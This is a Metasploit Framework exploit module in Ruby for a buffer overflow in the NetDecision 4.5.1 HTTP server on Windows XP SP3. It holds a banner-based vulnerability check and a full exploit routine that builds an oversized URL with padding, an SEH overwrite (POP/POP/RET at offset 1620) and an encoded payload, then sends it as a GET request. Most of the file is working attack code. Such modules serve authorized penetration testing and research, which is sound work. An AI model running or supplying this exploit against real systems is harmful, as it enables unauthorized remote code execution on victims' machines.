##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "NetDecision 4.5.1 HTTP Server Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in NetDecision's HTTP service
        (located in C:\Program Files\NetDecision\Bin\HttpSvr.exe).  By supplying a
        long string of data to the URL, an overflow may occur if the data gets handled
        by HTTP Server's active window.  In other words, in order to gain remote code
        execution, the victim is probably looking at HttpSvr's window.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Prabhu S Angadi',  #Discovery, DoS PoC
          'sinn3r'            #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '79651'],
          ['URL', 'http://secunia.com/advisories/48168/'],
          ['URL', 'http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x26\x27\x3f",
          'StackAdjustment' => -3500,
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "seh",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'NetDecision 4.5.1 on XP SP3',
            {
              # POP/POP/RET - OLEACC.dll
              'Ret'    => 0x74C869E2,
              'Offset' => 1620
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Feb 24 2012",
      'DefaultTarget'  => 0))
  end

  def check
    res = send_request_cgi({'uri'=>'/'})
    banner = res.headers['Server']
    if banner =~ /NetDecision\-HTTP\-Server\/1\.0/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    buf = "/"
    buf << rand_text_alpha(675, payload_badchars)
    buf << pattern_create(5) #Avoid TerminateProcess()
    buf << rand_text_alpha(target['Offset']-buf.length, payload_badchars)
    buf << "\xeb\x06" + rand_text_alpha(2, payload_badchars)
    buf << [target.ret].pack('V*')
    buf << payload.encoded
    buf << rand_text_alpha(8000-buf.length, payload_badchars)

    print_status("#{rhost}:#{rport} - Sending #{self.name}...")

    send_request_raw({
      'method' => 'GET',
      'uri'    => buf
    })

    handler
  end
end